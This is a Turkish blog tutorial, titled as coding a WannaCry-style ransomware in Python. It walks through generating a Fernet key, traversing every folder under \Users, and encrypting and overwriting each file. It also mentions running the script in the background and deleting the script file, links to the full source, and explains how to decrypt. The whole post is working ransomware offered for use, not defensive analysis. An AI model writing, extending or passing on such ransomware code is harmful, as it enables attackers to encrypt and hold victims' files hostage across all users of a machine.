python
April 6, 2020

Fidye virüsü kodluyoruz :)

Selamlar

Bu yazıda WannaCry'ın merdiven altı Python fidye virüsümüzü yazacağız .

Kodlara gelmeden evvel nasıl olacağını açıklayalım

os modülü ile bütün alt klasörleri listele
"rb" ile dosyayı aç
cryptography modülü ile içeriği şifrele

(kendi şifreleme methodunuzu da kullanabilirsiniz)

aynı dosyayı wb ile aç ve şifrelenmiş içeriği içine yaz

Işte bu kadar basit :)

Gelelim şifrelemenin nasıl yapılacağına

from cryptography.fernet import Fernet

İle modülümüzü dahil edelim .

Şimdi anahtar eklememiz gerekiyor ;

anahtar = Fernet.generate_key()

Şimdi fer'e şifrelememizi aktaralım

fer = Fernet(anahtar)

fer bizim encrpt ve decpyt yapabileceğimiz değerimiz

>> fer.encrypt("Bu yazı şifrelenecek !".encode())

>> b'gAAAAABeigI2PUz7vW4RlT_9peTEtTSgCUs6yypDfsHOgfyPpnfVYOqI7c='

Bu kadar basit aslında işlemimiz ..

Mantığımızı kavradığımıza göre alt klasörleri listeyelim

import os

for dosya_konum,eleman,dosya_isim_liste in os.walk("\\Users"):

for dosya_isim in dosya_isim_liste:

print(dosya_konum+dosya_isim)

Burada açıklanacak tek şey os.walk("\\Users") kavramı ;

os.walk() Kendisine verilen değerden itirabaren lat klasörleri listeyen oldukça faydalı bir modül

\\Users değerini vermemiz ise Tüm Windowslarda Users'ın olması ve tüm kullanıcıları şifrelemek istememiz

Aşağıdaki kodu çalıştırıp gerçekten de tüm alt klasörleri listeleyeceğini görebilirsiniz

Yapacağımız herşey aslında bu kadardı :)

Tekrar geçelim;

os.walk ile listele
listenen dosyaların hepsini wb ile aç , şifrele yaz

Şimdi gelelim asıl kodlarımıza

png_fidye

Görselde bahsettiğim kütüphaneler dışında "daemon" adlı bir modülü daha fark etmişsinizdir

Bu modül sayesinde python kodlarımızı "arkaplanda" çalıştırabileceğiz.

os.remove() 'ı kullanma sebebimiz ise python'un kapandığını sanan hedef programı baştan açmaya çalışacaktır . Bunu dosyayı silerek hallediyoruz :)

Kaynak Kodları:

https://github.com/PersonaNonGratae/pngfidye

Not:

Kodları değiştirmeden doğrudan kendi bilgisayarınızda çalıştırırsanız tüm dosyalarınız kullanılamaz hale gelecektir .

Şifrelenmiş dosyayı açmak için kodların 2 parçasını değiştirmek yeterli olacaktır :

Satır 40 : key = input("key'inizi girin !").encode()
Satır 55 : with open(dosya,"wb") as yaz : yaz.write(fer.decrypt(oku))

@raifpy tarafından Persona Non Grata için hazırlanmıştır . Telegram grubumuza katılın.